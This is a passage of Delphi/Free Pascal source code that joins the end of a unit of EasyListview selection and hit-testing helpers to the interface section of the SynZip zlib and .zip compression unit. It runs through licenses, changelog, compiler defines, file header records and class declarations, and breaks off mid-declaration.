ViewportPoint.X := ViewportPoint.X + R.Left;
ViewportPoint.Y := ViewportPoint.Y + R.Top;
while not Assigned(Result) and (I < EasyListview.Items.Count) do
begin
Item := EasyListview.Items[I];
if Item.OwnerGroup.Expanded and Item.Visible then
begin
Item.ItemRectArray(EasyListview.Header.FirstColumn, EasyListview.Canvas, RectArray);
A := EasyListview.CellSizes.Thumbnail.Width - 35;
B := 0;
W := RectArray.IconRect.Right - RectArray.IconRect.Left;
H := RectArray.IconRect.Bottom - RectArray.IconRect.Top;
ImageW := Image.Width;
ImageH := Image.Height;
ProportionalSize(W, H, ImageW, ImageH);
Y := RectArray.IconRect.Bottom - ImageH;
T := Max(RectArray.IconRect.Top, Y - 20);
L := RectArray.IconRect.Left;
R := Rect(A + L, B + T, A + 22 + L, B + T + 18);
if PtInRect(R, ViewportPoint) then
Result := Item;
end;
Inc(I)
end
end;
procedure EnsureSelectionInListView(EasyListview: TEasyListview; ListItem : TEasyItem;
Shift: TShiftState; X, Y: Integer; var ItemSelectedByMouseDown : Boolean;
var ItemByMouseDown : Boolean);
var
R: TRect;
I: Integer;
begin
R := EasyListview.Scrollbars.ViewableViewportRect;
if (ListItem <> nil) and ListItem.SelectionHitPt(Point(X + R.Left, Y + R.Top), EshtClickSelect) then
begin
ItemSelectedByMouseDown := False;
if not ListItem.Selected then
begin
if [SsCtrl, SsShift] * Shift = [] then
for I := 0 to EasyListview.Items.Count - 1 do
if EasyListview.Items[I].Selected then
if ListItem <> EasyListview.Items[I] then
EasyListview.Items[I].Selected := False;
if [SsShift] * Shift <> [] then
EasyListview.Selection.SelectRange(ListItem, EasyListview.Selection.FocusedItem, False, False)
else
begin
ItemSelectedByMouseDown := True;
ListItem.Selected := True;
ListItem.Focused := True;
end;
end else
ItemByMouseDown := True;
ListItem.Focused := True;
end;
end;
procedure RightClickFix(EasyListview: TEasyListview; Button: TMouseButton; Shift: TShiftState; Item : TEasyItem; ItemByMouseDown, ItemSelectedByMouseDown : Boolean);
var
I: Integer;
begin
if Item <> nil then
if Item.Selected and (Button = MbLeft) then
begin
if (Shift = []) and Item.Selected then
if ItemByMouseDown then
begin
for I := 0 to EasyListview.Items.Count - 1 do
if EasyListview.Items[I].Selected then
if Item <> EasyListview.Items[I] then
EasyListview.Items[I].Selected := False;
end;
if not(EbcsDragSelecting in EasyListview.States) then
if ([SsCtrl] * Shift <> []) and not ItemSelectedByMouseDown then
Item.Selected := False;
end;
end;
{ TEasyCollectionItemX }
function TEasyCollectionItemX.GetDisplayRect: TRect;
begin
Result := DisplayRect;
end;
end.
|
//SynZip unit - Copyright (C) 2018 Arnaud Bouchez / Synopse
//Officially released under MPL 1.1/GPL 2.0/LGPL 2.1 tri-license.
//Released by permission as BSD, exclusively for use within MRIcroGL and Surfice projects.
/// low-level access to ZLib compression (1.2.5 engine version)
// - this unit is a part of the freeware Synopse framework,
// licensed under a MPL/GPL/LGPL tri-license; version 1.18
unit SynZip;
{
This file is part of Synopse framework.
Synopse framework. Copyright (C) 2018 Arnaud Bouchez
Synopse Informatique - https://synopse.info
*** BEGIN LICENSE BLOCK *****
Version: MPL 1.1/GPL 2.0/LGPL 2.1
The contents of this file are subject to the Mozilla Public License Version
1.1 (the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL
Software distributed under the License is distributed on an "AS IS" basis,
WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
for the specific language governing rights and limitations under the License.
The Original Code is Synopse framework.
The Initial Developer of the Original Code is Arnaud Bouchez.
Portions created by the Initial Developer are Copyright (C) 2018
the Initial Developer. All Rights Reserved.
Contributor(s):
- Alf
- ehansen
- jpdk
- Gigo
Alternatively, the contents of this file may be used under the terms of
either the GNU General Public License Version 2 or later (the "GPL"), or
the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
in which case the provisions of the GPL or the LGPL are applicable instead
of those above. If you wish to allow use of your version of this file only
under the terms of either the GPL or the LGPL, and not to allow others to
use your version of this file under the terms of the MPL, indicate your
decision by deleting the provisions above and replace them with the notice
and other provisions required by the GPL or the LGPL. If you do not delete
the provisions above, a recipient may use your version of this file under
the terms of any one of the MPL, the GPL or the LGPL.
***** END LICENSE BLOCK *****
ORIGINAL LICENSE:
zlib.h -- interface of the 'zlib' general purpose compression library
version 1.2.5, April 19th, 2010
Copyright (C) 1995-2010 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly
Mark Adler
Cross-platform ZLib implementation
====================================
Link to original C-compiled ZLib library
- Win32: use fast obj and inline asm
- Linux: use available system library libz.so
Also defines .zip file structure (TFileInfo TFileHeader TLastHeader)
Version 1.3
- Delphi 2009/2010 compatibility (Unicode)
Version 1.3.1 - January 23, 2010
- issue corrected in CompressStream()
- compilation of TSynZipCompressor under Delphi 2009/2010, without any
Internal Error DT5830 (triggered with my Delphi 2009 Update 3)
Version 1.3.2 - February 5, 2010
- added .zip direct reading class
Version 1.4 - February 8, 2010
- whole Synopse SQLite3 database framework released under the GNU Lesser
General Public License version 3, instead of generic "Public Domain"
Version 1.5 - February 11, 2010
- added .zip direct writing class
Version 1.9
- crc32 is now coded in inlined fast asm (crc32.obj is no longer necessary)
- crc32 hashing is performed using 8 tables, for better CPU pipelining and
faster execution
- crc32 tables are created on the fly during unit initialization, therefore
save 8 KB of code size from standard crc32.obj, with no speed penalty
Version 1.9.2
- both obj files (i.e. deflate.obj and trees.obj) updated to version 1.2.5
Version 1.13
- code modifications to compile with Delphi 5 compiler
- new CompressGZip and CompressDeflate functions, for THttpSocket.RegisterCompress
- now handle Unicode file names UTF-8 encoded inside .Zip archive
- new TZipWrite.CreateFrom constructor, to add some new content to an
existing .Zip archive
- EventArchiveZip function can be used as a TSynLogArchiveEvent handler to
compress old .log files into a .zip standard archive
Version 1.15
- unit now tested with Delphi XE2 (32 Bit)
Version 1.16
- unit now compiles with Delphi XE2 (64 Bit)
- TZipWrite.AddDeflated(const aFileName) method will use streaming instead
of in-memory compression (will handle huge files much efficiently, e.g.
log files as for EventArchiveZip)
Version 1.18
- defined ZipString dedicated type, to store data in a Unicode-neutral manner
- introducing new TZipWriteToStream class, able to create a zip without file
- added TFileHeader.IsFolder and TLocalFileHeader.LocalData methods
- added TZipRead.UnZip() overloaded methods using a file name parameter
- added DestDirIsFileName optional parameter to TZipRead.UnZip() methods
- added TZipRead.UnZipAll() method
- fixed CompressDeflate() function, which was in fact creating zlib content
- fixed TZipWrite.AddDeflated() to handle data > 200 MB - thanks jpdk!
- fixed unexpected error when adding files e.g. via TZipWrite.CreateForm()
to an empty archive - thanks Gigo for the feedback!
- addded CompressZLib() function, as expected by web browsers
- any zip-related error will now raise a ESynZipException
- fixed ticket [2e22dd25aa] about TZipRead.UnMap
- fixed ticket [431b8b3dd9d] about gzread() overoptimistic assertion
- fixed UnZip() when crc and sizes are stored not within the file header,
but in a separate data descriptor block, after the compressed data (this
may occur e.g. if the .zip is created with latest Java JRE) - also added
corresponding TZipRead.RetrieveFileInfo() method and renamed TZipEntry
info field into infoLocal, and introduced infoDirectory new field
- renamed ZipFormat parameter to ZlibFormat, and introduce it also for
uncompression, so that both deflate and zlib layout are handled
- allow reading files of size 0 in TZipRead
- fixed TZipWrite.Destroy issue as reported by [aa468640c59]
- unit fixed and tested with Delphi XE2 (and up) 64-bit compiler
}
{$ifdef DARWIN}
{$ifdef CPUAARCH64}
//Apple's provided zlib just as fast as CloudFlare
//{$define USEZLIBSSE}
{$ELSE}
{$define USEZLIBSSE}
{$ENDIF}
{$endif}
{$ifdef LINUX}
{$define USEZLIBSSE}
{$endif}
{$I Synopse.inc} // define HASINLINE USETYPEINFO CPU32 CPU64
{$ifdef MSWINDOWS}
{$define USEZLIBSSE}
{$endif}
// if defined (only FPC+Win64), will link static\x86_64-win64sse\*.o static libraries
// from https://github.com/cloudflare/zlib (warning: SSE3/SSE4.2 CPUs only)
{.$define USECFZLIB} // https://github.com/cloudflare/zlib as external dll
{$ifdef USECFZLIB}
{$define USEEXTZLIB}
{$else}
{$ifdef FPC}
{$ifdef MSWINDOWS} // avoid link to zlib1.dll
{.$define USEPASZLIB} // paszlib makes Z_BUF_ERROR with bits = -MAX_WBITS
{$ifdef Win32}
{.$define libz} // SynZLibSSE static .o files for FPC + Win32 fails
{$endif}
{$ifdef Win64}
{.$define USEEXTZLIB} // use zlib-64.dll as in \fpc-win64 sub-folder
{$endif}
{$else}
// will use zlib.so under Linux/Posix
{$ifdef ANDROID}
{$define USEPASZLIB} // Alf: problem with external zlib.so under Android
{$else}
{$ifdef USEZLIBSSE}
{.$define USEEXTZLIB}
{$ELSE}
{$define USEEXTZLIB}
{$ENDIF}
{$endif}
{$endif}
{$else}
{$undef USEZLIBSSE} // Delphi linker is buggy as hell
{$ifndef USEEXTZLIB} // define USEEXTZLIB for the project for better performance
{$ifdef MSWINDOWS}
{$ifdef Win32}
{$define USEINLINEASM}
// if defined, we use a special inlined asm version for uncompress:
// seems 50% faster than BC++ generated .obj, and is 3KB smaller in code size
{$endif}
{$ifdef Win64}
{$define USEDELPHIZLIB} // System.ZLib is (much) slower, but static
{.$define USEEXTZLIB} // use faster zlib-64.dll as in \fpc-win64 sub-folder
{$endif}
{$else}
{$define USEEXTZLIB} // e.g. for Kylix
{$endif}
{$endif USEEXTZLIB}
{$endif}
{$endif USECFZLIB}
interface
uses
{$ifdef MSWINDOWS}
Windows,
{$else}
{$ifdef KYLIX3}
LibC,
{$else}
{$ifndef ANDROID}
clocale,
{$endif}
{$endif}
Types,
{$endif}
{$ifdef USEPASZLIB}
zbase,
paszlib,
{$endif}
SysUtils,
Classes;
type
/// the format used for storing data
TSynZipCompressorFormat = (szcfRaw, szcfZip, szcfGZ);
{$ifdef DELPHI5OROLDER}
type // Delphi 5 doesn't have those base types defined :(
PInteger = ^Integer;
PCardinal = ^Cardinal;
IntegerArray = array[0..$effffff] of Integer;
const
PathDelim = '\';
soCurrent = soFromCurrent;
function IncludeTrailingPathDelimiter(const FileName: TFileName): TFileName;
{$endif}
/// in-memory ZLib DEFLATE compression
// - by default, will use the deflate/.zip header-less format, but you may set
// ZlibFormat=true to add an header, as expected by zlib (and pdf)
function CompressMem(src, dst: pointer; srcLen, dstLen: integer;
CompressionLevel: integer=6; ZlibFormat: Boolean=false) : integer;
/// in-memory ZLib INFLATE decompression
// - by default, will use the deflate/.zip header-less format, but you may set
// ZlibFormat=true to add an header, as expected by zlib (and pdf)
function UnCompressMem(src, dst: pointer; srcLen, dstLen: integer; ZlibFormat: Boolean=false) : integer;
/// ZLib DEFLATE compression from memory into a stream
// - by default, will use the deflate/.zip header-less format, but you may set
// ZlibFormat=true to add an header, as expected by zlib (and pdf)
function CompressStream(src: pointer; srcLen: integer;
tmp: TStream; CompressionLevel: integer=6; ZlibFormat: Boolean=false;
TempBufSize: integer=0): cardinal;
/// ZLib INFLATE decompression from memory into a stream
// - return the number of bytes written into the stream
// - if checkCRC if not nil, it will contain the crc32; if aStream is nil, it
// will only calculate the crc of the the uncompressed memory block
// - by default, will use the deflate/.zip header-less format, but you may set
// ZlibFormat=true to add an header, as expected by zlib (and pdf)
function UnCompressStream(src: pointer; srcLen: integer; tmp: TStream;
checkCRC: PCardinal; ZlibFormat: Boolean=false; TempBufSize: integer=0): cardinal;
type
{$ifdef HASCODEPAGE}
ZipString = type RawByteString;
{$else}
/// define a raw storage string type, used for data buffer management
ZipString = type AnsiString;
{$endif}
{$ifdef FPC}
ZipPtrUInt = PtrUInt;
{$else}
/// as available in FPC
ZipPtrUInt = {$ifdef CPU64}NativeUInt{$else}cardinal{$endif};
{$endif}
/// ZLib INFLATE decompression from memory into a AnsiString (ZipString) variable
// - return the number of bytes written into the string
// - if checkCRC if not nil, it will contain the crc32; if aStream is nil, it
// will only calculate the crc of the the uncompressed memory block
// - by default, will use the deflate/.zip header-less format, but you may set
// ZlibFormat=true to add an header, as expected by zlib (and pdf)
function UnCompressZipString(src: pointer; srcLen: integer; out data: ZipString;
checkCRC: PCardinal; ZlibFormat: Boolean; TempBufSize: integer=0): cardinal;
/// compress some data, with a proprietary format (including CRC)
function CompressString(const data: ZipString; failIfGrow: boolean = false;
CompressionLevel: integer=6) : ZipString;
/// uncompress some data, with a proprietary format (including CRC)
// - return '' in case of a decompression failure
function UncompressString(const data: ZipString) : ZipString;
/// (un)compress a data content using the gzip algorithm
// - as expected by THttpSocket.RegisterCompress
// - will use internaly a level compression of 1, i.e. fastest available (content
// of 4803 bytes is compressed into 700, and time is 440 us instead of 220 us)
function CompressGZip(var DataRawByteString; Compress: boolean): AnsiString;
/// (un)compress a data content using the Deflate algorithm (i.e. "raw deflate")
// - as expected by THttpSocket.RegisterCompress
// - will use internaly a level compression of 1, i.e. fastest available (content
// of 4803 bytes is compressed into 700, and time is 440 us instead of 220 us)
// - deflate content encoding is pretty inconsistent in practice, so slightly
// slower CompressGZip() is preferred - http://stackoverflow.com/a/9186091/458259
function CompressDeflate(var DataRawByteString; Compress: boolean): AnsiString;
/// (un)compress a data content using the zlib algorithm
// - as expected by THttpSocket.RegisterCompress
// - will use internaly a level compression of 1, i.e. fastest available (content
// of 4803 bytes is compressed into 700, and time is 440 us instead of 220 us)
// - zlib content encoding is pretty inconsistent in practice, so slightly
// slower CompressGZip() is preferred - http://stackoverflow.com/a/9186091/458259
function CompressZLib(var DataRawByteString; Compress: boolean): AnsiString;
/// low-level check of the code returned by the ZLib library
function Check(const Code: Integer; const ValidCodes: array of Integer;
const Context: string=''): integer;
type
PCardinalArray = ^TCardinalArray;
TCardinalArray = array[0..(MaxLongint div SizeOf(cardinal))-1] of cardinal;
/// just hash aString with CRC32 algorithm
// - crc32 is better than adler32 for short strings
function CRC32string(const aString: ZipString): cardinal;
type
/// exception raised internaly in case of Zip errors
ESynZipException = class(Exception);
{$ifdef USEZLIBSSE} // statically linked with new 64-bit TZStream
type
TZLong = ZipPtrUint;
TZCRC = Int64;
{$else}
{$ifdef USECFZLIB} // dynamically linked with new 64-bit TZStream
type
TZLong = ZipPtrUint;
TZCRC = Int64;
const
{$ifdef WIN64}
libz='zlibcf64.dll';
{$else}
libz='zlibcf32.dll';
{$endif}
{$else}
{$ifdef USEEXTZLIB}
{$ifdef MSWINDOWS} // dynamically linked with old 32-bit TZStream
type
TZLong = cardinal;
TZCRC = cardinal;
const
{$ifdef WIN2}
libz='zlib-32.dll'; // as available in \fpc-win32 sub-folder
{$endif}
{$ifdef WIN64}
libz='zlib-64.dll'; // as available in \fpc-win64 sub-folder
{$endif}
{$endif MSWINDOWS}
{$ifdef KYLIX3}
type
TZLong = cardinal;
TZCRC = cardinal;
const
libz = 'libz.so.1';
{$else}
{$ifdef UNIX} // dynamically linked with new 64-bit TZStream
type
TZLong = ZipPtrUint;
TZCRC = Int64;
const
libz='z';
{$linklib libz}
{$endif UNIX}
{$endif KYLIX3}
{$else} // statically linked with old 32-bit TZStream
type
TZLong = cardinal;
TZCRC = cardinal;
{$endif USEEXTZLIB}
{$endif USECFZLIB}
{$endif USEZLIBSSE}
type
{$ifdef USEPASZLIB}
TZStream = z_stream;
{$else}
/// the internal memory structure as expected by the ZLib library
TZStream = record
next_in: PAnsiChar;
avail_in: cardinal;
total_in: TZLong;
next_out: PAnsiChar;
avail_out: cardinal;
total_out: TZLong;
msg: PAnsiChar;
state: pointer;
zalloc: pointer;
zfree: pointer;
opaque: pointer;
data_type: integer;
adler: TZLong;
reserved: TZLong;
end;
{$endif USEPASZLIB}
/// initialize the internal memory structure as expected by the ZLib library
procedure StreamInit(var Stream: TZStream); overload;
/// prepare the internal memory structure as expected by the ZLib library for compression
function DeflateInit(var Stream: TZStream; CompressionLevel: integer;
ZlibFormat: Boolean): Boolean; overload;
// don't know why using objects below produce an Internal Error DT5830
// under Delphi 2009 Update 3 !!!!!
// -> see http://qc.embarcadero.com/wc/qcmain.aspx?d=79792
// it seems that this compiler doesn't like to compile packed objects,
// but all other versions (including Delphi 2009 Update 2) did
// -> do Codegear knows about regression tests?
type
{$A-} { force packed object (not allowed under Delphi 2009) }
PFileInfo = ^TFileInfo;
/// generic file information structure, as used in .zip file format
// - used in any header, contains info about following block
{$ifndef UNICODE}
TFileInfo = object
{$else}
TFileInfo = record
{$endif}
neededVersion : word; // $14
flags : word; // 0
zzipMethod : word; // 0=Z_STORED 8=Z_DEFLATED 12=BZ2 14=LZMA
zlastMod : integer; // time in dos format
zcrc32 : dword; // crc32 checksum of uncompressed data
zzipSize : dword; // size of compressed data
zfullSize : dword; // size of uncompressed data
nameLen : word; // length(name)
extraLen : word; // 0
function SameAs(aInfo: PFileInfo): boolean;
function AlgoID: integer; // 1..15 (1=SynLZ e.g.) from flags
procedure SetAlgoID(Algorithm: integer);
function GetUTF8FileName: boolean;
procedure SetUTF8FileName;
procedure UnSetUTF8FileName;
end;
/// directory file information structure, as used in .zip file format
// - used at the end of the zip file to recap all entries
TFileHeader = {$ifdef UNICODE}record{$else}object{$endif}
signature : dword; // $02014b50 PK#1#2
madeBy : word; // $14
fileInfo : TFileInfo;
commentLen : word; // 0
firstDiskNo : word; // 0
intFileAttr : word; // 0 = binary; 1 = text
extFileAttr : dword; // dos file attributes
localHeadOff : dword; // @TLocalFileHeader
function IsFolder: boolean; {$ifdef HASINLINE}inline;{$endif}
procedure Init;
end;
PFileHeader = ^TFileHeader;
/// internal file information structure, as used in .zip file format
// - used locally inside the file stream, followed by the name and then the data
TLocalFileHeader = {$ifdef UNICODE}record{$else}object{$endif}
signature : dword; // $04034b50 PK#3#4
fileInfo : TFileInfo;
function LocalData: PAnsiChar;
end;
PLocalFileHeader = ^TLocalFileHeader;
/// last header structure, as used in .zip file format
// - this header ends the file and is used to find the TFileHeader entries
TLastHeader = record
signature : dword; // $06054b50 PK#5#6
thisDisk : word; // 0
headerDisk : word; // 0
thisFiles : word; // 1
totalFiles : word; // 1
headerSize : dword; // sizeOf(TFileHeaders + names)
headerOffset : dword; // @TFileHeader
commentLen : word; // 0
end;
PLastHeader = ^TLastHeader;
{$A+}
const
ZLIB_VERSION = '1.2.3';
ZLIB_VERNUM = $1230;
Z_NO_FLUSH = 0;
Z_PARTIAL_FLUSH = 1;
Z_SYNC_FLUSH = 2;
Z_FULL_FLUSH = 3;
Z_FINISH = 4;
Z_BLOCK = 5;
Z_OK = 0;
Z_STREAM_END = 1;
Z_NEED_DICT = 2;
Z_ERRNO = -1;
Z_STREAM_ERROR = -2;
Z_DATA_ERROR = -3;
Z_MEM_ERROR = -4;
Z_BUF_ERROR = -5;
Z_VERSION_ERROR = -6;
Z_NO_COMPRESSION = 0;
Z_BEST_SPEED = 1;
Z_BEST_COMPRESSION = 9;
Z_DEFAULT_COMPRESSION = -1;
Z_FILTERED = 1;
Z_HUFFMAN_ONLY = 2;
Z_RLE = 3;
Z_FIXED = 4;
Z_DEFAULT_STRATEGY = 0;
Z_BINARY = 0;
Z_ASCII = 1;
Z_UNKNOWN = 2;
Z_STORED = 0;
Z_DEFLATED = 8;
MAX_WBITS = 15; // 32K LZ77 window
DEF_MEM_LEVEL = 8;
Z_NULL = 0;
{$ifdef USEPASZLIB}
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer;
function deflate(var strm: TZStream; flush: integer): integer;
function deflateEnd(var strm: TZStream): integer;
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer;
function inflate(var strm: TZStream; flush: integer): integer;
function inflateEnd(var strm: TZStream): integer;
function adler32(adler: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
function crc32(crc: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
function get_crc_table: pointer;
{$else}
{ our very own short implementation of ZLibH }
{$ifdef USEINLINEASM}
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer;
function deflate(var strm: TZStream; flush: integer): integer;
function deflateEnd(var strm: TZStream): integer;
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer; stdcall;
function inflate(var strm: TZStream; flush: integer): integer; stdcall;
function inflateEnd(var strm: TZStream): integer; stdcall;
function adler32(adler: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
function crc32(crc: cardinal; buf: PAnsiChar; len: cardinal): cardinal;
function get_crc_table: pointer;
{$else USEINLINEASM}
function deflate(var strm: TZStream; flush: integer): integer; cdecl;
function deflateEnd(var strm: TZStream): integer; cdecl;
function inflate(var strm: TZStream; flush: integer): integer; cdecl;
function inflateEnd(var strm: TZStream): integer; cdecl;
function adler32(adler: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
function crc32(crc: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl;
function deflateInit_(var strm: TZStream; level: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
function inflateInit_(var strm: TZStream;
version: PAnsiChar; stream_size: integer): integer; cdecl;
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl;
function get_crc_table: pointer; cdecl;
{$endif USEINLINEASM}
{$endif USEPASZLIB}
type
/// simple wrapper class to decompress a .gz file into memory or stream/file
{$ifdef UNICODE}TGZRead = record{$else}TGZRead = object{$endif}
private
comp, zsdest: pointer;
zscrc: cardinal;
zssize, zscode: integer;
zs: TZStream;
public
complen, uncomplen: integer;
crc32: cardinal;
unixmodtime: cardinal;
fname, fcomment, extra: PAnsiChar;
/// read and validate the .gz header
// - on success, return true and fill complen/uncomplen/crc32c properties
function Init(gz: PAnsiChar; gzLen: integer): boolean;
/// uncompress the .gz content into a memory buffer
function ToMem: ZipString;
/// uncompress the .gz content into a stream
function ToStream(stream: TStream; tempBufSize: integer=0): boolean;
/// uncompress the .gz content into a file
function ToFile(const filename: TFileName; tempBufSize: integer=0): boolean;
/// allow low level iterative decompression using an internal TZStream structure
function ZStreamStart(dest: pointer; destsize: integer): boolean;
/// will uncompress into dest/destsize buffer as supplied to ZStreamStart
// - return the number of bytes uncompressed, 0 if the input stream is finished
function ZStreamNext: integer;
/// any successfull call to ZStreamStart should always run ZStreamDone
// - return true if the crc and the uncompressed size are ok
function ZStreamDone: boolean;
end;
/// uncompress a .gz file content
// - return '' if the .gz content is invalid (e.g. bad crc)
function GZRead(gz: PAnsiChar; gzLen: integer): ZipString;
/// compress a file content into a new .gz file
// - will use TSynZipCompressor for minimal memory use during file compression
function GZFile(const orig, destgz: TFileName; CompressionLevel: Integer=6): boolean;
const
/// operating-system dependent wildchar to match all files in a folder
ZIP_FILES_ALL = {$ifdef MSWINDOWS}'*.*'{$else}'*'{$endif};
type
/// a simple TStream descendant for compressing data into a stream
// - this simple version don't use any internal buffer, but rely
// on Zip library buffering system
// - the version in SynZipFiles is much more powerfull, but this one
// is sufficient for most common cases (e.g. for on the fly .gz backup)
TSynZipCompressor = class(TStream)
private
fInitialized: Boolean;
fDestStream: TStream;
fStrm: TZStream;
fCRC: Cardinal;
fGZFormat: boolean;
fBufferOut: array[word] of byte; // a 64 KB buffer
function FlushBufferOut: integer;
public
/// create a compression stream, writting the compressed data into
// the specified stream (e.g. a file stream)
constructor Create(outStream: TStream; CompressionLevel: Integer;
Format: TSynZipCompressorFormat = szcfRaw);
/// release memory
destructor Destroy; override;
/// this method will raise an error: it's a compression-only stream
function Read(var Buffer; Count: Longint): Longint; override;
/// add some data to be compressed
function Write(const Buffer; Count: Longint): Longint; override;
/// used to return the current position, i.e. the real byte written count
// - for real seek, this method will raise an error: it's a compression-only stream
function Seek(Offset: Longint; Origin: Word): Longint; override;
/// the number of byte written, i.e. the current uncompressed size
function SizeIn: cardinal;
/// the number of byte sent to the destination stream, i.e. the current
// compressed size
function SizeOut: cardinal;
/// write all pending compressed data into outStream
procedure Flush;
/// the current CRC of the written data, i.e. the uncompressed data CRC
property CRC: cardinal read fCRC;
end;
/// stores an entry of a file inside a .zip archive
TZipEntry = record
/// the information of this file, as stored locally in the .zip archive
// - note that infoLocal^.zzipSize/zfullSize/zcrc32 may be 0 if the info
// was stored in a "data descriptor" block after the data: in this case,
// you should use TZipRead.RetrieveFileInfo() instead of this structure
infoLocal: PFileInfo;
/// the information of this file, as stored at the end of the .zip archive
// - may differ from infoLocal^ content, depending of the zipper tool used
infoDirectory: PFileHeader;
/// points to the compressed data in the .zip archive, mapped in memory
data: PAnsiChar;
/// name of the file inside the .zip archive
// - not ASCIIZ: length = infoLocal.nameLen
storedName: PAnsiChar;
/// name of the file inside the .zip archive
// - converted from DOS/OEM or UTF-8 into generic (Unicode) string
zipName: TFileName;
end;
/// read-only access to a .zip archive file
// - can open directly a specified .zip file (will be memory mapped for fast access)
// - can open a .zip archive file content from a resource (embedded in the executable)
// - can open a .zip archive file content from memory
TZipRead = class
private
buf: PByteArray;
FirstFileHeader: PFileHeader;
ReadOffset: cardinal;
{$ifdef MSWINDOWS}
file_, map: ZipPtrUint;
{$else}
file_: THandle;
mapSize: cardinal;
{$endif}
procedure UnMap;
function UnZipStreamX(aIndex: integer; const aInfo: TFileInfo; aDest: TStream): boolean;
public
/// the number of files inside a .zip archive
Count: integer;
/// the files inside the .zip archive
Entry: array of TZipEntry;
/// open a .zip archive file as Read Only
constructor Create(const aFileName: TFileName; ZipStartOffset: cardinal=0;
Size: cardinal=0); overload;
/// open a .zip archive file directly from a resource
constructor Create(Instance: THandle; const ResName: string; ResType: PChar); overload;
/// open a .zip archive file from its File Handle
constructor Create(aFile: THandle; ZipStartOffset: cardinal=0;
Size: cardinal=0); overload;
/// open a .zip archive file directly from memory
constructor Create(BufZip: PByteArray; Size: cardinal); overload;
/// release associated memory
destructor Destroy; override;
/// get the index of a file inside the .zip archive
function NameToIndex(const aName: TFileName): integer;
/// uncompress a file stored inside the .zip archive into memory
function UnZip(aIndex: integer): ZipString; overload;
/// uncompress a file stored inside the .zip archive into a stream
function UnZip(aIndex: integer; aDest: TStream): boolean; overload;
/// uncompress a file stored inside the .zip archive into a destination directory
function UnZip(aIndex: integer; const DestDir: TFileName;
DestDirIsFileName: boolean=false): boolean; overload;
/// uncompress a file stored inside the .zip archive into memory
function UnZip(const aName: TFileName): ZipString; overload;
/// uncompress a file stored inside the .zip archive into a destination directory
function UnZip(const aName, DestDir: TFileName;
DestDirIsFileName: boolean=false): boolean; overload;
/// uncompress all fields stored inside the .zip archive into the supplied
// destination directory
// - returns -1 on success, or the index in Entry[] of the failing file
function UnZipAll(DestDir: TFileName): integer;
/// retrieve information about a file
// - in some cases (e.g. for a .zip created by latest Java JRE),
// infoLocal^.zzipSize/zfullSize/zcrc32 may equal 0: this method is able
// to retrieve the information either from the ending "central directory",
// or by searching the "data descriptor" block
// - returns TRUE if the Index is correct and the info was retrieved
// - returns FALSE if the information was not successfully retrieved
function RetrieveFileInfo(Index: integer; var Info: TFileInfo): boolean;
end;
/// abstract write-only access for creating a .zip archive
TZipWriteAbstract = class
protected
fAppendOffset: cardinal;
fMagic: cardinal;
function InternalAdd(const zipName: TFileName; Buf: pointer; Size: integer): cardinal;
function InternalWritePosition: cardinal; virtual; abstract;
procedure InternalWrite(const buf; len: cardinal); virtual; abstract;
public
/// the total number of entries
Count: integer;
/// the resulting file entries, ready to be written as a .zip catalog
// - those will be appended after the data blocks at the end of the .zip file
Entry: array of record
/// the file name, as stored in the .zip internal directory
intName: ZipString;
/// the corresponding file header
fhr: TFileHeader;
end;
/// initialize the .zip archive
// - a new .zip file content is prepared
constructor Create;
/// compress (using the deflate method) a memory buffer, and add it to the zip file
// - by default, the 1st of January, 2010 is used if not date is supplied
procedure AddDeflated(const aZipName: TFileName; Buf: pointer; Size: integer;
CompressLevel: integer=6; FileAge: integer=1+1 shl 5+30 shl 9); overload;
/// add a memory buffer to the zip file, without compression
// - content is stored, not deflated
// (in that case, no deflate code is added to the executable)
// - by default, the 1st of January, 2010 is used if not date is supplied
procedure AddStored(const aZipName: TFileName; Buf: pointer; Size: integer;
FileAge: integer=1+1 shl 5+30 shl 9);
/// append a file content into the destination file
// - useful to add the initial Setup.exe file, e.g.
procedure Append(const Content: ZipString);
/// release associated memory, and close destination archive
destructor Destroy; override;
end;
/// write-only access for creating a .zip archive file
// - not to be used to update a .zip file, but to create a new one
// - update can be done manualy by using a TZipRead instance and the
// AddFromZip() method
TZipWrite = class(TZipWriteAbstract)
protected
fFileName: TFileName;
function InternalWritePosition: cardinal; override;
procedure InternalWrite(const buf; len: cardinal); override;
public
/// the associated file handle
Handle: integer;
/// initialize the .zip file
// - a new .zip file content is created
constructor Create(const aFileName: TFileName); overload;
/// initialize an existing .zip file in order to add some content to it
// - warning: AddStored/AddDeflated() won't check for duplicate zip entries
// - this method is very fast, and will increase the .zip file in-place
// (the old content is not copied, new data is appended at the file end)
// - "dummy" parameter exists only to disambiguate constructors for C++
constructor CreateFrom(const aFileName: TFileName; dummy: integer=0);
/// compress (using the deflate method) a file, and add it to the zip file
procedure AddDeflated(const aFileName: TFileName; RemovePath: boolean=true;
CompressLevel: integer=6; ZipName: TFileName=''); overload;
/// compress (using the deflate method) all files within a folder, and
// add it to the zip file
